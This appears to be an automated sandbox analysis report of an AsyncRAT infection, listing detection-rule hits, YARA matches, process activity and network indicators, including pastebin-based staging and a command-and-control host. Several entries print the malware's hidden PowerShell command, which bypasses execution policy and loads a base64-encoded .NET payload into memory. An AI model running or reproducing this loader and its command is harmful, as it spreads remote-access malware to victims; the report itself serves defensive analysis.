AK0AQAAAIoGAAACig0AAAKKDUAAAqAPwAABH4/AAAEezYAAAp+PwAABHI3AABwKA0AAAZvNwAACigOAAAGCiAVNAAAKDMAAAooOAAACn4QAAAEbx4AAAoGFigMAAAGFig5AAAKKgAAABMwAwAwAAAABAAAEQNvOgAAChfaF9YX2hfWjTQAAAEKAwYWbzsAAAoCGgYoEgAABhb+ASwGczwAAAp6KiYCA4EBAAAbAyoAABMwBQBeAAAABQAAERaNNAAAAQoWCwIaBhYSASgRAAAGJgcWNwoHbiD/fwAAajEGczwAAAp6AhoSAAduF2rbhBfWF9oX1o00AAABKAEAACsHEgEoEQAABhb+ASwGczwAAAp6BhZzPQAACioAABMwCAAwAAAABgAAEQIoFQAABgoGbz4AAAoWFhcg/w8PABcUcz8AAAoWFHNAAAAKb0EAAAoCBigTAAAGKpYgAAwAACgtAAAKcy4AA

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('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

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: AspNetCompiler Execution

Source: Process started

Author: frack113: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ParentCommandLine: "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('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

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('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

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('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

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 656, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7140, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: unknown	HTTPS traffic detected: 104.21.84.67:443 -> 192.168.2.16:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.16:49703 version: TLS 1.2

Networking

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: pastebin.com

Source: global traffic

TCP traffic: 192.168.2.16:49704 -> 193.34.212.115:444

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: ydekmoviess.sytes.net

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown	HTTPS traffic detected: 104.21.84.67:443 -> 192.168.2.16:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.16:49703 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 0000000F.00000002.1735219264.000001FA636A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2420233433.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2427144968.0000000003405000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2424988500.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\notepad.exe

Windows user hook set: 0 mouse C:\Windows\System32\SHELL32.dll

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000000F.00000002.1735219264.000001FA636A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000010.00000002.2420233433.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 20675
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 20675

Source: 0000000F.00000002.1735219264.000001FA636A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000010.00000002.2420233433.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys

Source: classification engine

Classification label: mal96.troj.evad.winTXT@8/5@3/20

Source: C:\Windows\System32\notepad.exe

File created: C:\Users\user\Desktop\bad.cmd

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Mutant created: \Sessions\1\BaseNamedObjects\AsyncMutex_helptomybrodox2025
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4896:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fowi0k3f.r2i.ps1

Source: C:\Windows\System32\notepad.exe

File read: C:\Users\desktop.ini

Source: C:\Windows\System32\notepad.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\Desktop\bad.txt
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\Desktop\bad.cmd"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAPZXmuwAAAAAAAAAAPAAIgALAjAAADgAAAACAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAXDoBAAIAYIUAAEAAAAAAAABAAAAAAAAAAAAQAAAAAAAAIAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFFYAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAABIAAAAAAAAAAAAAAAudGV4dAAAAFA3AAAAIAAAADgAAAACAAAAAAAAAAAAAAAAAAAgAABgLnJzcmMAAAAQAAAAAGAAAAACAAAAOgAAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAgAFAMQpAACYKwAAAQAAABAAAAZcVQAAuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeAigXAAAKKq5+AQAABC0ecgEAAHDQAgAAAigYAAAKb